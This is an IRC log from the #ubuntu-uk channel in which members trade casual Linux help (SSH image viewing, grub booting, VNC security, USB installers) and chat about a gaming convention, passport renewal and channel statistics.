<danfish> but after projecting our benign spaceman's presentation, that's on hold (though not quotable!)
<danfish> our desktop architecture is now OS agnostic
<danfish> though we do need a number of terminal service licences
<brobostigon> are there any terminal picture viewers around, that work over an ssh connection, inside gnome-terminal. ?
<shauno> most likely you'd want to forward X so you can use something like xv on the remote machine, but using your local display
<ali1234> ssh -X host
<popey> brobostigon: http://pc-freak.net/blog/viewing-jpeggif-and-png-in-ascii-with-cacaview-on-gnu-linux-short-review-on-caca-utils-text-mode-graphics-utilities/
<ali1234> eog image.png
<danfish> brobostigon: have a look at gateone https://github.com/liftoff/GateOne
<brobostigon> thank you popey and danfish
<danfish> ho hum, pig's bum, time for bed
#ubuntu-uk 2013-02-24
<shauno> does 'nano' have a convenient way to delete whole lines?
<jacobw> morning
<kvarley> I'm at a grub> prompt
<MartijnVdS> IRCing from grub? Wow :)
<kvarley> Heh
<kvarley> Is there any way I can boot a partition from this prompt?
<kvarley> Nvm, found a massive guide on the forums
<kvarley> Never knew how much grub did until now
<kvarley> Managed to boot from grub>, interesting times
<madpup> darn xchat just crashed, is this the correct channel to ask questons?
<MartijnVdS> madpup: sure, if we don't know the answer we might even tell you a better place to look ;)
<madpup> Cheers Marti, btw how do you red-text?
<MartijnVdS> red-text?
<MartijnVdS> probably because I mentioned your name
<MartijnVdS> madpup: like this
<madpup> yep
<madpup> oh its just the client highlighting chat
<madpup> Can i use Bubmlebee but with nouveau?
<MartijnVdS> what's bumblebee?
<MartijnVdS> ah! the two-graphics-chips laptop stuff?
<MartijnVdS> http://wiki.debian.org/Bumblebee suggests it's possible
<madpup> cool will read might have to compile for source as the bumblebee package tries to draw in nvidia-current as a dep
<brobostigon> good morning everyone,
<jacobw> ola brobostigon
<brobostigon> morning jacobw
<jacobw> how is it going?
<brobostigon> jacobw: not bad, alittle on the cool side, and you?
<jacobw> not so bad either :)
<brobostigon> :)
<redtape-renegade> Morning All  .. is there Anything today worth living for ??
<bigcalm> Ahoy
<brobostigon> morning bigcalm
<bigcalm> Anybody noticed Thunderbird not remembering its window size or location upon restart?
<redtape-renegade> yep.
 * penguin42 drops a pin
 * dwatkins hands round peanut butter cookies
<penguin42> ooh
<penguin42> popey: Do you have access to a Panda board?
<popey> penguin42: no
<penguin42> popey: Oh well, was just thinking they're hardware wise pretty much identical to that tablet
<popey> yeah, it is
<popey> i spy ali1234 handywork http://www.iloveubuntu.net/ubuntu-touch-ported-samsung-galaxy-s-gt-i9000-builds-available-download
<penguin42> I assume it's mostly a matter of wrangling the kernel/boot process and binary blobs and taking the same user space?
<popey> there's a porting guide..
<popey> http://wiki.ubuntu.com/Touch/Porting
<popey> ali1234: did detail a bit about what he did in his G+ post and gave more detail elsewhere
<penguin42> oh I see, it's built the other way than what I expected, but yeh fair enough
<penguin42> does anyone know on Firefox for Android whether it's possible to disable cookies on a per-site basis?
 * penguin42 wants to disable Cookies for EETimes that's started to require sign in when you get past the 2nd page of viewing; but stopping cookies/javascript fixes that - but I need cookies for other stuff
<dwatkins> penguin42: how about using a dedicated browser such as Prism for this?
<penguin42> dwatkins: What's prism?
<dwatkins> I'm not sure, but I suspect you can change the cookie behaviour just for the one site in it.
<penguin42> dwatkins: I know I can do it on desktop firefox
<dwatkins> It allows you to have a separate instance of a browser just for a particular URL and load it like an application, e.g. pointed at gmail.
<dwatkins> https://wiki.mozilla.org/Prism penguin42
<penguin42> thanks
<penguin42> I'd prefer it to look like a normal browser because I want Google Reader to pick it up
<dwatkins> hope it helps
<penguin42> thanks
<penguin42> interesting
<dwatkins> You can enable the address bar, not sure about google reader integration.
<Azelphur> Is there any browser app for Ubuntu that produces a frameless browser with no buttons?
<penguin42> can you do that with xulrunner?
<Azelphur> dunno what that is
<mgdm> does hitting F11 in Chrome or whatever count?
<penguin42> oh, no xulrunner packages any more
<mgdm> IIRC, Firefox has a switch to make it do XULRunner stuff
<Azelphur> *shrug* will just do it with python and qt4, tis a quick thing
<Azelphur> spoke to an OUYA dev today at geek 2013
<Azelphur> apparently it's all exactly the same code, and when they say that some games won't work on android tablets, they mean that they may not have touch screen support.
<Azelphur> so in theory everything should work if you hook up a sixaxis.
<ali1234> wow i got my first spam comment on g+
<ali1234> and g+ removed it before i even saw it
<ali1234> Azelphur: all exactly the same code as what?
<Azelphur> ali1234: android
<Azelphur> as in like, android tablets/phones
<ali1234> oh
<ali1234> well that's to be expected really
<ali1234> the only things that could be incompatible are touchscreen
<ali1234> if ouya has same CPU
<ali1234> which it does
<Azelphur> yea
<diplo> Evening all
<mungbean> evening
<diplo> Anyone wrote android app on 12.04 ?
<mgdm> I did
<diplo> Any issues installing/setting up ?
<diplo> just d/ling ADT bundle now
<mgdm>  not that I recall, other than Eclipse being Eclipse
<diplo> heh, thats the bit im not looking forward to
<diplo> :)
<redtape-renegade> Why do my teeth feel really clean tonite ?? I only had a doner kebab ...  ??
<redtape-renegade> must be the    horse !
<jacobw> horse is yummy
<jacobw> more europe, more horse
<ali1234> diplo: necessitas is really easy to use, if you don't mind the Qt runtime install
<ali1234> no eclipse needed, just use Qt creator
<diplo> Not heard of it, will take a look now ali1234 thanks
<Laney> is sriracha as good as Theyâ¢ say?
<popey> its very nice
<popey> better than tabasco
<AlanBell> it is great
<popey> we had eggy bread for tea, which I smothered in sriracha
<AlanBell> I had eggs mayo for lunch with loads of it
<AlanBell> and spag bol for dinner, with loads of it
 * Laney primes some
<popey> we went to a belated birthday & xmas do yesterday. I got a bottle of Daves Insanity sauce and a nice retro Casio watch for xmas \o/
<popey>  both were on my amz wishlist
<Myrtti> Laney: it's less acidic, so it doesn't effectively ruin the taste with vinegar
<Azelphur> so, today I played on an OUYA
<Azelphur> it was cool.
<Azelphur> one of the dev ones with the transparent casing
<popey> what games?
<Azelphur> fist of awesome
<Azelphur> http://www.kickstarter.com/projects/551886203/fist-of-awesome
<Azelphur> I met the guy in the video
<Azelphur> at his stand at geek 2013, https://www.dropbox.com/s/gsf9wonowkwj3gh/2013-02-24%2010.28.18.jpg :P
<popey> â¹ no linux version
<Azelphur> indeed :(
<popey> did you mention this to him? :
<Azelphur> I didn't realise there was no Linux version, I actually thought it was OUYA/android only until I read the kickstarter page
<popey> ah
<Azelphur> he did however say one interesting thing, apparently all OUYA games will run on other devices, despite what the FAQ says
<Azelphur> the only reason why not is because of the lack of a physical controller
<Azelphur> he said that a sixaxis should work no problem
<popey> did he mention what toolkit/engine he's using?
<Azelphur> no, I know it's written in C++ though
<popey> oh, it says
<popey> http://www.cocos2d-x.org/
<popey> that
<Azelphur> cool
<Azelphur> this makes me tempted to do some ouya work in the future perhaps though
<popey> https://twitter.com/nicollhunt/status/305737885401890816
<Azelphur> since it's very android compatible, and I like python, this could be a good combination
<Azelphur> ah cool :)
<Azelphur> but yea, I definitely expect the geek cons to put margate on the map in future :P
<Azelphur> tis pretty cool
<popey> yeah
<Azelphur> popey: did you see that photo I took of the main gaming area?
<Azelphur> https://www.dropbox.com/sh/aweozfzwfr2qwqo/5PWdlBFFrO#f:2013-02-23%2011.28.41.jpg
<Azelphur> that's rows upon rows of everything from arcade machines and binatones to xboxes running halo
<Azelphur> my friend was a steward for the event so he snuck me up onto the balcony to take that photo :P
<diplo> Didn't know you could do the browse thing with dropbox, like that
<Azelphur> diplo: yea, just put the photos in a folder in the Photos directory
<diplo> Looks like an interesting event Azelphur, hadn't heard about it
<diplo> ah right, will give that a go!
<Azelphur> yea, it miiiight run again in the summer, if not next year
<Azelphur> basically my life for the past two days has been, get up at 9am in the morning, get ready, leave at 9:45 to arrive for opening at 10am, leave at 5pm when they shut for an hour to do a shuffle and grab a KFC, go back in at 6pm till 11pm, go home, sleep, rinse and repeat.
<Azelphur> xD
<diplo> nice
<Azelphur> http://eventifier.co/event/geek2013 has a lot of good photos on it
<popey> heh
<popey> nice
<bigcalm> Oh my. A BBC Master 128K. I dreamed of having one over my BBC Model B (32K) and B+ (64K I think).
<bigcalm> So many young people in those photos :S
#ubuntu-uk 2014-02-17
<mapps> hey
<neuro> is for horses
<neuro> as my mum would always say
<mapps> lol
<mapps> ;]
<mapps> just finished my passport application..hoorah
<mapps> hope they dont reject the photos
<neuro> as long as you're not smiling
<mapps> yeqa
<mapps> and no hair coivering face/glasses etc
<mapps> but
<mapps> thing was ..it says two photos minmum of 45mm height by 35mm width - so i cut them but theyre a bit bigger..someone said they will cut them to size its just if theyre smaller they get rejected
<neuro> i still either need to find my old expired passport or go through the rigmarole of reporting it lost before i can renew
<neuro> and if i can't find it and have to report it lost, when i go to renew, i need to get photos signed etc :(
<mapps> yea
<mapps> thats why i had to
<neuro> by a "respectable" person, mental
<mapps> i lost mine somehow between manchester and home
<mapps> ;(
<neuro> mine is in the house somewhere
<neuro> no bloomin' clue where it is
<mapps> yea i thought the same dude
<mapps> came back from holland..and hadnt been anywhere since..I NEVER take it out if i go to tesco or go out drinking..we arent a police state and im 29
<mapps> but i cant find it:(
<mapps> even went to tesco to see if it had fallen out of my pocket ..went there on my way back had no food in
<mapps> but no;/was going to go away March 10th-19th too but wont be able to now;(
<neuro> unlucky
<neuro> and you can't use the express same day / next day services with lost renewals, right?
<mapps> yea thats what it said
<mapps> dunno if theres any like 1 week thing ..but i figure i just cant go
<neuro> you'd think by cancelling the old passport and verifying you from birth certificate, NI records, tax records, credit record, etc they could quickly verify you.
<mapps> yep
<mapps> agree
<mapps> i work..mum and dad british..etc nothing dodgy
<mapps> all my details can be checked easily
<mapps> they even say with lost passports you may have to go for an interview to prove youu are who you say
<mapps> thatd be a PAIN
<neuro> so premium service (4 hours) isn't available for replacing lost passports
<neuro> but the fast track (1 week) service is
<neuro> Â£103
<neuro> https://www.gov.uk/get-a-passport-urgently
<mapps> ooh
<mapps> might do that
<neuro> i take it you've done the reporting process for a lost passport already?
<mapps> do i have to go to the post office or a passport office or can i still do it by post?
<mapps> no--i was going to send that at the same time as my applicaiton form..says you can send the LS01 at same time
<neuro> i'd do that first, but then again i'm not in a hurry ;)
<neuro> probably best to call the advice line in the morning and get them to help
<ali1234> if you go to the post office they just put all the documents in an envelope and post it for you
<neuro> 0300 222 000 8am-8pm
<mapps> thats what i thought ali1234
<mapps> thanks
<mapps> neuro,  does it say whether you have to go to a passport office or anything though
<neuro> i think you do
<neuro> "To get your passport within 1 week, you must supply all your completed forms and supporting documents to Her Majestyâs Passport Office at the agreed appointment."
<mapps> aha
<neuro> you can book an appointment at a Passport Customer Service Centre from the adviceline
<ali1234> the interview is really dumb
<neuro> read that page i linked to, it tells you Stuff
<mapps> thanks
<mapps> hey you had one ali1234 ?
<ali1234> i didn't know the answers to any of the questions they asked, still got a passport
<neuro> what kind of questions do they ask you?
<ali1234> basically if you show up and you're white you get a passport
<mapps> lol hat kinda qs
<mapps> ye
<neuro> "what's your favourite colour?"
<mapps> lo
<ali1234> pretty much
<neuro> "who is the manager of arsenal?"
<neuro> "what is the queen's middle name?"
<neuro> (answer: Royal, as in Her Royal Highness)
<ali1234> they ask you about the person who notarized your photos
<ali1234> what bank accounts you have
<ali1234> ie "what bank is your current account?"
<neuro> oh jeez, that's easy
<mapps> what about the person who notarised it
<neuro> probably what do they do
<neuro> how long have you known them
<ali1234> who is the person and how do you know them?
<neuro> what's your relationship etc
<ali1234> i don't think they're interested in the answers you give, it's more of a stress test really
<neuro> from the list of people of "good standing" you can get as countersignatory, I can only really see one that i could use: director/manager/personell officer of a VAT registered company
<neuro> i would just talk to one of my mates who contracts a lot :)
<neuro> ooh or "chairman/director of a limited company"
<mapps> i used my friends wife
<mapps> she's a teacher
<neuro> "used"
 * mapps knows noone
<mapps> heh
<mapps> you know what i mean:)
<neuro> although in saying that, the occupations list does say "must work in (or be retired from) a recognised profession or be a 'person of good standing in their community', eg"
<neuro> and the important bit is "eg"
<neuro> so i guess it's not an exhaustive list
<neuro> actually, a mate of mine works in a council-run sports centre
<neuro> so he's had all the usual background checks to make sure he doesn't fiddle with kids
<neuro> and he's had his application approved to volunteer at the Commonwealths
<neuro> so he'd probably do
<neuro> what the hell ...
<neuro> http://www.scotsman.com/news/environment/wind-farms-like-lockerbie-disaster-donald-trump-1-3304511
<neuro> donald trump has compared wind farm development in Scotland to the Lockerbie disaster
<neuro> he's a lunatic
<mapps> yea
<mapps> moron
<mapps> ;/
<neuro> jeez, they actually have a page on the golf club website (the one near aberdeen) detailing trump's scottish ancestry
<neuro> aaaanyway ...
<neuro> just had to go through a whole bunch of domain names resetting contact info :P
<neuro> bloomin' annoying as the reason i got a reseller account to handle mates wanting domain names was to avoid all the admin hassle :)
<mapps> heh
<mapps> how many domains u got
<neuro> counting ones that other people have bought from me, 32
<neuro> 12 personally
<neuro> including omnombuntu.com which was a mistake really
<neuro> hmm, i need to reset the default page
<neuro> that's better
<mapps> ;]
<mapps> oke
<mapps> taking my dell 1501 completely apart
<mapps> to find out if it is the fan causing this horrific noise:)
<daftykins> D:
<daftykins> neuro: lol, no good deed.
<mapps> if not..well then
<mapps> we are stuck
<mapps> :(
<neuro> :)
<daftykins> throw it out and get a new!
<mapps> no!"
<mapps> never
<daftykins> hehe i jest
<mapps> i hatr throwing stuff away:D
<mapps> *hate
<daftykins> mapps: rather than disassemble twice
<daftykins> why not ebay a replacement cooler and strip it down with it present
<mapps> ive got a new laptop samsung i5 ..this is my old dell from my uni days ..so ya its old
<daftykins> that way you can replace it if it is \o/
<mapps> just runs centos atm
<mapps> what else could it be if not fan
<daftykins> i dunno i just turned up tbh i don't know the convo
<daftykins> i guess that's all it could be!
<mapps> basically my dell 1501 makes a horrific noise ..but it works fine..boots and everything works
<daftykins> i only do laptop teardowns when i have enough wake-time to put them back together again :D
<daftykins> if i sleep between, i forget things
<mapps> i get that heh..i printed out the instructons for taking it apart
<mapps> :)
<mapps> hmm well didnt think this through
<mapps> i cant turn it on and power it up so i cant see the fan going
<mapps> doesnt look bunged up with dirt though so nothing visibly wrong
<daftykins> is it a bearing based fan?
<mapps> silly q but not sure what that means or how to know
<daftykins> so you've got a motor spinning it, but to stop it just being plastic on plastic spinning wearing itself out, they used to be metal ball bearings
<daftykins> or a cunning sleeve based system
<daftykins> sometimes it just says on the little fan what it is
<daftykins> but yeah this is why i like just replacing 'em 'cause yup it tends to be quite hard to run whilst on the bench
<daftykins> though i've always been happy to sketchily reassemble it enough to make it work
<daftykins> even if it means holding the battery up to it to run it XD
<daftykins> mains is easier to attach though of course
<mapps> yea
<mapps> i just didnt think duh..i need to be able to press it on and there's nothing i can press on the kaptops motherboard to go on
<mapps> heh
<mapps> it looks just like plastic
<daftykins> how do you mean press on to go on? 'cause the power button board's off?
<mapps> ya
<mapps> the hinge bit is off which is where the power button is
<daftykins> *nod*
<daftykins> you could put back the bare minimum :>
<daftykins> usually that board just presses on a button on the other side
<mapps> yea thats what i thought thought id be able to press it myself?
<mapps> maybe just put the hinge cover back on?
<daftykins> i'd imagine the only other thing in that system that's mechanical is the HDD?
<daftykins> maybe reassemble all and take the HDD out, then fire it up :D
<daftykins> but yeah doubt it's that really
<mapps> hm
<mapps> so for now to test fan
<mapps> put hinge back?
<mapps> hinge cover
<daftykins> i really don't know the specific laptop to tell what's viable or not :D
<mapps> :)
<mapps> so what you doing up this time|? NBA all stars on
<daftykins> it's my birthday ^_^
<mapps> ah happy birthday
<mapps> :D
<mapps> off worek tomorrow?
<daftykins> thanks :)
<daftykins> i work when i want really :>
<mapps> tonights a good tv night for me
<mapps> :D
<mapps> true detective and walking dead
<mapps> yeaaaa
<mapps> :D
<daftykins> hehe
<mapps> might be going to see robocop at the imax tomorrow:D
<mapps> yuou watch either of those series?
<daftykins> nah
<daftykins> not even heard of the former
<mapps> O_o
<mapps> ;]
<mapps> had a dominos earlier:D first time in like uhh gotta be over a year
<mapps> ncie for a change :)
<daftykins> we don't have any pizza chains over here
<daftykins> had dominos a couple of times during Uni though
<mapps> oh
<mapps> none
<mapps> wow
<daftykins> yip
<mapps> just surprising
<mapps> :)
<daftykins> well, time to go
<daftykins> gl with the laptop sir \o
<mapps> he turns his pc off? whats up with that:D
<jussi> o/
<MooDoo> morning all
 * jussi hands MooDoo the obligatory cup of  tea :)
<MooDoo> yay thanks
<DJones> MooDoo: 6.40am is too early for good morning's
<MooDoo> DJones: yeah I usually get in to work at about 6:30
<DJones> Thats a bit early for me, I'm normally walking the dog then
<MooDoo> I don't expect many people up at that time, just being polite really :D
<DJones> :)
<AlanBell> morning
<MooDoo> morning AlanBell how are you this fine dya?
<MooDoo> Obviously I can't spell
<AlanBell> I am fine, just need to stop playing flappy parrot and get on with some work
<jussi> haha
<MooDoo> AlanBell: that darn game
<AlanBell> 205 is my record http://scratch.mit.edu/projects/embed/18035291/?autostart=true
<MooDoo> no no no bloody darn you AlanBell
<jussi> mr AlanBell! !!!!!!!!!!!!!!!!!!!!
<jussi> 21 on the 3rd try... NOOOO
<MooDoo> I had to close it or i'd never get work done.
<jussi> me also...
<AlanBell> I want to add a global high score, but cloud variables don't appear to be working at the moment
<MooDoo> wow you can tell it's half term, silence ;)
<popey> â»
<popey> Kids playing minecraft here
<MooDoo> my son is right getting into it, he loves it.
<popey> I setup a pocket minecraft server, sophie let her school friends know, now they play on that together
<MooDoo> he's not discovered minecon thank fully yet lol
<MooDoo> never thought of doing that for jimmy ans his friends :)
<brobostigon> morning boys and girls.
<MooDoo> morning brobostigon
<brobostigon> morning MooDoo
<bashrc> morning
<MooDoo> quite liking trusty tahr at the moment, apart from that pesky login bug :)
<popey> what bug?
<brobostigon> morning bashrc and popey
<MooDoo> popey: I had a look it's one where the login box isn't getting focus at start up, you have to right click the box before you're able to type in it.
<popey> oh
<MooDoo> it's not a hard workaround, just right click the box to get focus
<bigcalm> Good morning peeps :)
<MooDoo> morning bigcalm
<JamesTait> Good morning all; happy World Human Spirit Day! :-D
<hazrpg> \o
<MooDoo> haello hazrpg
<diplo> Morning all
<hazrpg> hi MooDoo :)(
<hazrpg> :)*
<brobostigon> morning hazrpg
<hazrpg> morning brobostigon
<bigcalm> Panic stations - my parents are visiting 2 days early
<brobostigon> oh dear
<knightwise> morning everyone
<brobostigon> hi knightwise
<MooDoo> bigcalm: omg you're going to have to tidy :S
<bigcalm> MooDoo: that started yesterday, but we thought we had 2 more days to finish it
<brobostigon> loads of coffee requied,
<MooDoo> bigcalm: fancy parents wanting to come see their kids ;)
<knightwise> anyone ever tried a desktop calendar client that plays nice with google calendar ?
<dvrr> i configured vnc server to connect remote desktop it is secure or not   how can i  connect  remote desktop connection  with secure
<dvrr> MooDoo
<MooDoo> dvrr https://help.ubuntu.com/community/VNC
<MooDoo> or this one - http://askubuntu.com/questions/91773/how-do-i-secure-vnc-desktop-sharing
<jussi> dmmit, I hate it when one ear gets blocked :/
<arsen> non techy colleague just came over and proclaimed "i got ubuntu installed last night - thanks!"
<arsen> very happy with himself. good times.
<MooDoo> nice one :D
<MooDoo> pah only 19 in the ubuntu uk irc stats for most active nicks, meh!
<MooDoo> Poor MooDoo, nobody likes him/her. He/She was attacked 7 times.   LOL
<dvrr> i am   using .pem files to connect ssh connection  it's working  with out .pem files  we can not connect  ssh connection.  remote desktop connection  only require  public ip & password  if we  know password we can connect anyone any where  it is not secure
<dvrr> how can i connect  secure remote desktop connection
<jussi> MooDoo: fail! :P
<MooDoo> jussi: huh?
<jussi> MooDoo: you are only 19th :D
<MartijnVdS> MooDoo: do you feel attacked? :)
<MooDoo> jussi: I know right, thought I just chatted a lot....
<MooDoo> MartijnVdS: don't hit me
<MooDoo> done by our good friend brobostigon - http://taylorworld.me.uk/ubuntu-uk.html
<MartijnVdS> During this 979-day reporting period
<MartijnVdS> that's almost 3 years!
<MooDoo> we've been around that long :D
<jussi> haha
<jussi> some epic random quotes...
<jussi> "ooh, just telnetted into my router"
<popey> â»
<jussi> and also: "who is the person and how do you know them?"
<diplo> Oh dear, I'm at number 9!
<diplo> Not a good quote for me :P "diddledan: I put on 9st 10 if that counts as not good :P"
<MooDoo> wow launchpad member since - 2006-04-06
<popey> 2006-03-21
<popey> close
<MooDoo> blimey
<MartijnVdS> Member since:
<MartijnVdS> 2005-06-15
<jussi> oh SuperMatt.... epic quote! "Happy "oh crap, it's that day again" day"
<Laney> so old
<MooDoo> MartijnVdS: wow i thought 2006 was early... MartijnVdS beat us by loads lol
<diplo> Member since: 2008-03-26
<diplo> Not so long
<jussi> where do you see these dates?
<MooDoo> on your launchpad page
<MooDoo> jussi: https://launchpad.net/~paulmellors  member since
<diddledan> 2005-12-05 here
<jussi> ahh yes
<jussi> 2006-11-24
<jussi> lunchpad... we all love you...
<SuperMatt> jussi: hey!
<cocoa117> when a network device was set with IP address but no broadcast address does this mean, the kernel won't respond to any broadcast received on this particuular network dev?
<SuperMatt> I stand by my statement
<jussi> hehe
<jussi> SuperMatt: I am in complete agreeance
<jussi> btw, I shall be in the UK from 7-11th March
<SuperMatt> jussi: you poor thing
<jussi> SuperMatt: :D
<SuperMatt> it's one thing to live here, another to subject yourself to it
<jussi> SuperMatt: I shall enjoy the "real" fish and chips
<ali1234> can i make apache log the pid in the log file?
<SuperMatt> jussi: not if you spend most of your time in central london you won't
<jussi> SuperMatt: I dont plan on visiting london.
<SuperMatt> ah, that's ok then
<jussi> I will spend most of my time in manchester/liverpool
<SuperMatt> that's not quite so ok ;)
<jussi> haha
<jussi> I could be doing worse... I could end up in middlesborough... :P
<MooDoo> manchester isn't that far from me, about an hour or so, when you coming jussi so I can make sure i'm in london ;)
<jussi> (I went there once... the only place in the UK that I have been to that was worse was newport)
<jussi> MooDoo: hahaha, read up, I mentioned earlier
<DJones> jussi: Whereabouts in Liverpool?
<jussi> DJones: some hotel on the docks at this point, although that may change...
<MooDoo> jussi: I can't complain I'm from Nottingham, wear a flak jacket every day
<jussi> DJones: dependent on whether they move the football match I was planning on attending or no...
<DJones> Ah right, probably fairly close to where I am, I work up near Bootle docks
<jussi> DJones: ahh ok. guess maybe a beer or so is in order then...
<DJones> jussi: Possibly, have to see how things work out around then
<jussi> :)
<jussi> you know how we are moving to systemd.... I have a question...
<jussi> When is debian/ubuntu planning then to move to rpm/yum? :D
 * jussi laughs manically
<SuperMatt> Â¬.Â¬
<MartijnVdS> once they fix how they do dependencies, I guess ;)
<diddledan> good ol' government: http://grahamcluley.com/2014/02/passwords-leaked-live-tv-flood-emergency
<SuperMatt> having said that, even fedora is moving away from yum to dnf
<diddledan> dnf?
<jussi> did not finish?
<jussi> :P
<diddledan> does not fit?
<SuperMatt> diddledan: back on the govt thing: I can tell you many things about their password policy now
<SuperMatt> https://fedoraproject.org/wiki/Features/DNF
<SuperMatt> Must be 8 chars, must contain bother upper and lowercase
<SuperMatt> cannot be the same as a previous password
<SuperMatt> also: users suck
 * jussi looks at SuperMatt and starts shaking his head with fingers in ears "DO NOT WANT TO KNOW HOW BAD IT IS"
<MooDoo> SuperMatt: I retired as a fedora mentor about 3 weeks ago!
<SuperMatt> I'm actually going to have to learn the rhel way of doing things :(
<SuperMatt> so much so, I've put centos on my laptop
 * SuperMatt dies a little inside
<jussi> SuperMatt: ouch
<jussi> I tired suse once...
<MooDoo> rhel isn't so bad really, I use it on a daily basis
<MartijnVdS> let me guess, you got tired of it ;)
<MartijnVdS> MooDoo: except when you need a modern piece of software. RHEL releases less often than Debian, doesn't it?
<MooDoo> MartijnVdS: depends on what you want, there are repos you can use for most stuff.
<SuperMatt> if Rackspace supported ubuntu in dedicated, we could break up the teams in to rhel and ubuntu specialists
<SuperMatt> I would happily volunteer for the ubuntu team
<MartijnVdS> MooDoo: sure, but all I've heard is "We're not installing that, it's not in the official repos"
<MartijnVdS> gee, thanks sysadmin..
<SuperMatt> we support epel and ius
<SuperMatt> nothing else
<SuperMatt> (and the official ones, of course)
<MooDoo> MartijnVdS: well what in particular?  if it's not in the repos what would you need it for? unless you're doing something specidic
<MooDoo> MartijnVdS: playing devils advocate here :d
<MartijnVdS> MooDoo: it was some Oracle server, maintained by external sysadmins
<MooDoo> MartijnVdS: stupid computers :)
<MartijnVdS> MooDoo: part of the problem was that we didn't really have a good way of communicating with them
<MartijnVdS> and that every keystroke cost money
<MooDoo> MartijnVdS: time to move to windoze ;)
<SuperMatt> /o\
<MartijnVdS> MooDoo: Nah, time to ditch Oracle ;)
<SuperMatt> https://fbcdn-sphotos-e-a.akamaihd.net/hphotos-ak-ash3/t1/1900104_10153860996120721_1871978483_n.jpg
<MartijnVdS> SuperMatt: heh
<MooDoo> SuperMatt: have you got a picture of your pod yet so we can all see where you're workin?
<SuperMatt> not of my pod no
<SuperMatt> https://scontent-a.xx.fbcdn.net/hphotos-ash3/t1/1900007_10153774367490464_1657044053_n.jpg
<MooDoo> lol
<MooDoo> new racker?
<SuperMatt> yup
<MooDoo> awesome
<SuperMatt> https://fbcdn-sphotos-a-a.akamaihd.net/hphotos-ak-frc3/t1/p526x296/1653903_10153784330310464_2097441953_n.jpg
<SuperMatt> that was friday
<MooDoo> awwww just for you? lol
<jussi> I want candy
<SuperMatt> not for me, for the team
<diddledan> I need chocolate
<MooDoo> SuperMatt: seems you get a lot of free time :d
<SuperMatt> not really
<SuperMatt> I've got a lot of training going on right now, and then next week I have to hit the ground running
<foobarry> which flag did you put up? pokemon?
 * MooDoo wonders if he could communite to manchester and get SuperMatt a signing bonus at the same time ;)
<brobostigon> are the stats working properly, ?
<SuperMatt> foobarry: I don't have one yet
<MooDoo> brobostigon: seem to be I think
<SuperMatt> I don't think you get them until you pass probabtion
<SuperMatt> but I've requested a batman logo
<MartijnVdS> foobarry: how do you get 500 pikachu into a car?
<MooDoo> brobostigon: tatistics generated on Monday 17 February 2014 - 12:48:27
<MartijnVdS> foobarry: you poke'm on
<MooDoo> MartijnVdS: get out!
<MartijnVdS> MooDoo: hmm? :)
<brobostigon> MooDoo: cool :)
<brobostigon> i am glad its working correctly,
<MooDoo> brobostigon: well actually it's flawed, It's saying I'm only the 19th most used nick, I could of sworn I was more vocal than that ;)
<brobostigon> oh dear :(
<MooDoo> lol
<MartijnVdS> MooDoo: sssh!
<MooDoo> yes sir
<brobostigon> lol
<foobarry> i have a work account for google so i can read calendars. but people are adding me on g+ how do i stop that?
<foobarry> if i delete my google profile then youtube videos will be taken down
<ali1234> tell them to stop adding you?
<foobarry> thats hard
<foobarry> g+ says "connect to foobarry "
<ali1234> it's pretty easy
<foobarry> it doesn't say which foobarry (work or not)
<ali1234> just do a google+ post telling them to stop following you. problem solved.
<foobarry> deleted my profile
<jussi> foobarry: most people Ive seen just put a big profile pic with "dont connect to this account, I dont use it"
<MartijnVdS> you can ask Google to merge your G+ accounts
<foobarry> i think i chose the right option
<MartijnVdS> http://www.hongkiat.com/blog/transfer-google-plus-accounts/
<popey> i have 4 G+ accounts :()
<MartijnVdS> popey: ^ that link might be helpful then :)
<popey> dont think that helps. I need to have at least two of them active
<popey> for hangouts on air for work and personal
<popey> annoyingly
<foobarry> this place is the only one in the known universe where they have patch ports that look like this http://ubuntuone.com/24TASqz19ymmgQu92lWpCt
<foobarry> new ones put in :S
<Dave2> popey: is that including the one with writing all over your face?
<foobarry> it's easily solvable. google have a tick box that says "active" or "disable"
<foobarry> diable g+
<foobarry> or "allow people to add you"
<MartijnVdS> popey: sure but you could merge the other 2 into them
<MartijnVdS> popey: so you end up with 2 accounts instad of 4
<popey> nope
<popey> one is a shared account with my name on
<TheOpenSourcerer> First time I have ever come across this problem before. I use unetbootin to create the USB bootable drive. Am installing 12.04 LTS tomorrow and wanted to check it worked OK. Always failed with the same error: http://askubuntu.com/questions/127398/usb-drive-install-of-ubuntu-12-04-server-fails-cant-find-components-from-cd-r
<TheOpenSourcerer> However, ran this chaps perl script to rebuild the file names and hey presto. http://cirrus.ucsd.edu/~pierce/fix_ubuntu_usb/
<TheOpenSourcerer> 12.04 LTS *Server*.
<MartijnVdS> TheOpenSourcerer: have you tried just dd'ing the ISO to an USB Stick?
<MartijnVdS> TheOpenSourcerer: Ubuntu images are special now
<MartijnVdS> TheOpenSourcerer: directhex knows more :)
<directhex> snuh?
<MartijnVdS> directhex: oh the hybrid iso thing again
<TheOpenSourcerer> I've come across that problem before.
<popey> i only ever dd images to usb now
<MartijnVdS> I did my first pxe install this weekend. Those are nice & flexible! :)
<MartijnVdS> still have the old thee-colour brown/yellow/orange logo too!
<MartijnVdS> popey: http://www.vercot.com/~serva/an/Imgs/UbuntuPXE-2010-06-20-13-41-50.png
<MartijnVdS> (even when using the trusty image)
 * knightwise switched wife to linux yesterday
<knightwise> gave her 0 instructions :)
<knightwise> wonder how she"'s gonna react
<popey> hehe
<knightwise> put elementary OS on her 24 inch iMac
<jussi> elementary ....
<popey> Êâ¿à² 
<knightwise> Yeah , it LOOKS like OSx , its pretty light and it runs on 12.04
<knightwise> I could have also gone for 13.10 with CairoDock
<MartijnVdS> why make it OSX-like though?
<jussi> it makes the jump a little easier to take, no?
<MartijnVdS> Isn't Ubuntu mac-ish enough by itself?
<knightwise> MartijnVdS: yeah it is.
<knightwise> to be honest I had installed 13.10 and it was working ok , but I had a keyboard issue
<knightwise> so i thought maybe in 12.04 it would have been ok
<knightwise> so i reinstalled
<knightwise> turned out keyboard issue was apples fault
<brobostigon> watch tbbt, and lunch, then tackle last nights washing up.
<knightwise> apple keyboards send out the wrong keycode for their @ sign
<knightwise> take a logitech keyboard with an apple keyboardlayout and it works perfectly
 * knightwise hates cupertino sometimes
<MartijnVdS> knightwise: then stop buying their stuff
<knightwise> MartijnVdS: why make it OSX like : because that is what my wife is used to and user experience is important
<knightwise> MartijnVdS: haven't bought a new mac in a while now
<foobarry> knightwise: elementary \o/
<knightwise> foobarry: and its light and very efficient
<foobarry> i know
<brobostigon> elementary my dear watson.
<foobarry> used it 10hrs a day for last year or 2
<knightwise> well ,its simpler then xfce ...
<knightwise> and to be honest it feels a lot more polished because of that.
